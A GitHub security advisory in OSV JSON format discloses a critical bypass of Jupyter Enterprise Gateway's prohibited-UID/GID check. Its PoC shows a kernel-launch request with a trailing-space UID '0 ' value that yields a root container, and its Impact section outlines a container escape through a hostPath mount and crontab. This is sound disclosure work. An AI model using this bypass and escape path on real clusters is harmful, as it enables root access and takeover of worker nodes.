CVE-2026-44180: Jupyter Enterprise Gateway Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-chq7-94j8-cj28",
  "modified" : "2026-06-03T21:30:10Z",
  "published" : "2026-06-03T21:30:10Z",
  "aliases" : [ "CVE-2026-44180" ],
  "summary" : "Jupyter Enterprise Gateway: ContainerProcessProxy._enforce_prohibited_ids Bypass",
  "details" : "### Summary\n\nJupyter Enterprise Gateway has a prohibited UID and GID feature that by default prevents launching kernels with UID or GID 0 (root).\nThis can be bypassed. It is possible to launch kernels with a prohibited UID and/or GID by using a specially crafted `KERNEL_UID` or `KERNEL_GID` value.\n\nThe feature is described in the documentation: \n\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L103-L107\n\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/config-add-env.md?plain=1#L88-L92\n\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/docs/source/operators/deploy-kubernetes.md?plain=1#L769\n\n### Details\n\nThe `prohibited_uids` and `prohibited_uids` are set based of the OS env var `EG_PROHIBITED_UIDS` and `EG_PROHIBITED_GIDS`, and default to the string `0`.\n\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L29-L30\n\nThe checks https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L113 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/container.py#L119 look for the user supplied `KERNEL_UID` / `KERNEL_GID` string in the `prohibited_uids` / `prohibited_gids` strings. These checks can be bypassed by including whitespace, for example the string `0 ` (trailing space).\n\nThe user supplied string is used in the Kubernetes manifest at https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L35 and https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L38 where they are parsed as an integer in the Jinja2 template - which will ignore the whitespace.\n\n### PoC\n\n\n#### How it is meant to work\n\nTrying `0` gets denied, as expected.\n\n```bash\nxh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{\"KERNEL_POD_NAME\":\"bdawg\", \"KERNEL_UID\": \"0\", \"KERNEL_GID\": \"0\"}'\n```\n\n```\nHTTP/1.1 403 Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS!\nContent-Length: 94\nContent-Type: application/json\nDate: Mon, 14 Jul 2025 12:57:09 GMT\nServer: TornadoServer/6.4.1\nX-Content-Type-Options: nosniff\n```\n\n```json\n{\n    \"reason\": \"Kernel's UID value of '0' has been denied via EG_PROHIBITED_UIDS!\",\n    \"message\": \"\"\n}\n```\n\n#### Exploit bypassing the checks\n\nUsing `0 ` with a trailing space, bypasses the check.\n\n```bash\nxh http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels name=python_kubernetes env:='{\"KERNEL_POD_NAME\":\"bdawg\", \"KERNEL_UID\": \"0 \", \"KERNEL_GID\": \"0 \"}'\n```\n\n```\nHTTP/1.1 201 Created\nContent-Length: 172\nContent-Type: application/json\nDate: Mon, 14 Jul 2025 14:15:19 GMT\nLocation: /api/kernels/17eee032-994f-4dd2-8ade-87169c300a40\nServer: TornadoServer/6.4.1\nX-Content-Type-Options: nosniff\n```\n\n```\n{\n    \"id\": \"17eee032-994f-4dd2-8ade-87169c300a40\",\n    \"name\": \"python_kubernetes\",\n    \"last_activity\": \"2025-07-14T14:15:21.468155Z\",\n    \"execution_state\": \"starting\",\n    \"connections\": 0\n}\n```\n\nThe pod is successfully scheduled.\n\nInspecting the container we can see it is running as `root`:\n\n```bash\nkubectl exec -it pod/bdawg -- bash\n```\n\n```\n(base) root@bdawg3:~# id\nuid=0(root) gid=0(root) groups=0(root),100(users)\n```\n\nIf we had not supplied the `KERNEL_UID` / `KERNEL_GID` the container would have been running as UID:GID `1000:100` (`jovyan:users`).\n\n### Impact\n\nThis input validation vulnerability allows running Jupyter kernels as root, which can be dangerous as it allows more attack surface, and may lead to container escapes, compromising the worker node and all workloads running on it. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. It is possible to specify volume mounts, so one vector for a container escape is to use a `hostPath` R/W volume mount, use this UID/GID bypass to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.\n\nOrganisations running Jupyter Enterprise Gateway to host Jupyter Kernels on at least Kubernetes clusters (I've tested this), and possibly on any other supported container orchestration systems or systems that utilise the `KERNEL_UID` and `KERNEL_GID` variables with the `EG_PROHIBITED_UIDS` and `EG_PROHIBITED_GIDS` feature.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "jupyter_enterprise_gateway"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0rc1"
      }, {
        "fixed" : "3.3.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jupyter-server/enterprise_gateway/security/advisories/GHSA-chq7-94j8-cj28"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jupyter-server/enterprise_gateway"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jupyter-server/enterprise_gateway/releases/tag/v3.3.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-180", "CWE-20" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-03T21:30:10Z",
    "nvd_published_at" : null
  }
}